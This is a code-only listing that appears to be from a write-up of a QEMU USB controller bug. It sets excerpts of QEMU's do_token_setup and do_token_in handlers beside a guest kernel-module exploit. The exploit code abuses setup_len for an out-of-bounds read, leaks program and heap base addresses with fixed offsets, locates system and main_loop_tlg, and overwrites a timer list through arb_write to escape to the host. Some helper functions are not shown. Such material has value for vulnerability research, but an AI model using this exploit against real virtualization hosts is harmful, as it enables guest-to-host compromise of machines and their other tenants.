1
static void usb_process_one(USBPacket *p)
2
{
3
    USBDevice *dev = p->ep->dev;
4

5
    /*
6
     * Handlers expect status to be initialized to USB_RET_SUCCESS, but it
7
     * can be USB_RET_NAK here from a previous usb_process_one() call,
8
     * or USB_RET_ASYNC from going through usb_queue_one().
9
     */
10
    p->status = USB_RET_SUCCESS;
11

12
    if (p->ep->nr == 0) {
13
        /* control pipe */
14
        if (p->parameter) {
15
            do_parameter(dev, p);
16
            return;
17
        }
18
        switch (p->pid) {
19
        case USB_TOKEN_SETUP:
20
            do_token_setup(dev, p);
21
            break;
22
        case USB_TOKEN_IN:
23
            do_token_in(dev, p);
24
            break;
25
        case USB_TOKEN_OUT:
26
            do_token_out(dev, p);
27
            break;
28
        default:
29
            p->status = USB_RET_STALL;
30
        }
31
    } else {
32
        /* data pipe */
33
        usb_device_handle_data(dev, p);
34
    }
35
}

1
static void do_token_setup(USBDevice *s, USBPacket *p)
2
{
3
  ..
4
    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];
5
    if (s->setup_len > sizeof(s->data_buf)) {
6
        fprintf(stderr,
7
                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
8
                s->setup_len, sizeof(s->data_buf));
9
        p->status = USB_RET_STALL;
10
        return;
11
    }
12
  ..
13
}

1
void exp(void) {
2
    int i;
3
    init(); //alloc a big dma memory
4
    do_setup(); //init the s->setup_len to 0xf0, in order to set the s->state = SETUP_DATA
5
    do_set_lenth(USB_DIR_IN); //init the s->setup_len to 0x7fe to oob read
6
    for(i = 0; i < 4; i++)
7
        do_read(0x7fe); //oob read
8
    base = *(uint64_t *)(data_buf + 7) - 0x73D513;
9
    heap_base = *(uint64_t *)(data_buf + 15) - 0xEB4240;
10
    system = base + 0x2ba600;
11
    uhci_state = heap_base + 0xDA48E0;
12
    data_buf_addr = heap_base + 0xEB43EC;
13
    main_loop_tlg = base + 0x129e0c0;
14
    printk(KERN_INFO"[+]the program base is: 0x%llx", base);
15
    printk(KERN_INFO"[+]the heap    base is: 0x%llx", heap_base);
16
    printk(KERN_INFO"[+]the uhci   state is: 0x%llx", uhci_state);
17
    printk(KERN_INFO"[+]the system  base is: 0x%llx", system);
18
    printk(KERN_INFO"[+]the buffer  addr is: 0x%llx", data_buf_addr);
19
//--------------------------------------------------------------------//
20
    arb_write(main_loop_tlg, data_buf_addr + 0xc00);
21
    pmio_write(0, 2);
22
}

1
do_setup(); //init the s->setup_len to 0xf0, in order to set the s->state = SETUP_DATA

1
void do_setup(void) {
2
    set_td(0x7, USB_TOKEN_SETUP);
3
    set_length(0xf0, USB_DIR_IN);
4
    reset_uhci();
5
    enable_port();
6
    set_frame_base();
7
    pmio_write(0, 1);
8
    mdelay(100);
9
}

1
static void do_token_setup(USBDevice *s, USBPacket *p)
2
{
3
    ..
4
    if (s->setup_buf[0] & USB_DIR_IN) {
5
        usb_device_handle_control(s, p, request, value, index,
6
                                  s->setup_len, s->data_buf);
7
        if (p->status == USB_RET_ASYNC) {
8
            s->setup_state = SETUP_STATE_SETUP;
9
        }
10
        if (p->status != USB_RET_SUCCESS) {
11
            return;
12
        }
13

14
        if (p->actual_length < s->setup_len) {
15
            s->setup_len = p->actual_length;
16
        }
17
        s->setup_state = SETUP_STATE_DATA;
18
    }
19
  ..
20
}

1
do_set_lenth(USB_DIR_IN);

1
void do_set_lenth(uint8_t option) {
2
    set_td(0x7, USB_TOKEN_SETUP);
3
    set_length(0xdead, option);
4
    reset_uhci();
5
    enable_port();
6
    set_frame_base();
7
    pmio_write(0, 1);
8
    mdelay(100);
9
}

1
static void do_token_setup(USBDevice *s, USBPacket *p)
2
{
3
    int request, value, index;
4

5
    if (p->iov.size != 8) {
6
        p->status = USB_RET_STALL;
7
        return;
8
    }
9

10
    usb_packet_copy(p, s->setup_buf, p->iov.size);
11
    s->setup_index = 0;
12
    p->actual_length = 0;
13
    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];
14
    if (s->setup_len > sizeof(s->data_buf)) {
15
        fprintf(stderr,
16
                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
17
                s->setup_len, sizeof(s->data_buf));
18
        p->status = USB_RET_STALL;
19
        return;
20
    }
21
  ...
22
}

1
for(i = 0; i < 4; i++)
2
  do_read(0x7fe); //oob read
3
base = *(uint64_t *)(data_buf + 7) - 0x73D513;
4
heap_base = *(uint64_t *)(data_buf + 15) - 0xEB4240;
5
system = base + 0x2ba600;
6
uhci_state = heap_base + 0xDA48E0;
7
data_buf_addr = heap_base + 0xEB43EC;
8
main_loop_tlg = base + 0x129e0c0;
9
printk(KERN_INFO"[+]the program base is: 0x%llx", base);
10
printk(KERN_INFO"[+]the heap    base is: 0x%llx", heap_base);
11
printk(KERN_INFO"[+]the uhci   state is: 0x%llx", uhci_state);
12
printk(KERN_INFO"[+]the system  base is: 0x%llx", system);
13
printk(KERN_INFO"[+]the buffer  addr is: 0x%llx", data_buf_addr);

1
void do_read(uint16_t len) {
2
    set_td(len, USB_TOKEN_IN);
3
    set_length(0xdead, USB_DIR_IN);
4
    reset_uhci();
5
    enable_port();
6
    set_frame_base();
7
    pmio_write(0, 1);
8
    mdelay(100);
9
}

1
static void do_token_in(USBDevice *s, USBPacket *p)
2
{
3
..
4
    switch(s->setup_state) {
5
..
6
    case SETUP_STATE_DATA:
7
        if (s->setup_buf[0] & USB_DIR_IN) {
8
            int len = s->setup_len - s->setup_index;
9
            if (len > p->iov.size) {
10
                len = p->iov.size;
11
            }
12
            usb_packet_copy(p, s->data_buf + s->setup_index, len);
13
            s->setup_index += len;
14
            if (s->setup_index >= s->setup_len) {
15
                s->setup_state = SETUP_STATE_ACK;
16
            }
17
            return;
18
        }
19
..
20
}
21

22
..
23
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
24
{
25
    QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
26

27
    assert(p->actual_length >= 0);
28
    assert(p->actual_length + bytes <= iov->size);
29
    switch (p->pid) {
30
    case USB_TOKEN_SETUP:
31
    case USB_TOKEN_OUT:
32
        iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
33
        break;
34
    case USB_TOKEN_IN:
35
        iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
36
        break;
37
    default:
38
        fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
39
        abort();
40
    }
41
    p->actual_length += bytes;
42
}
43
..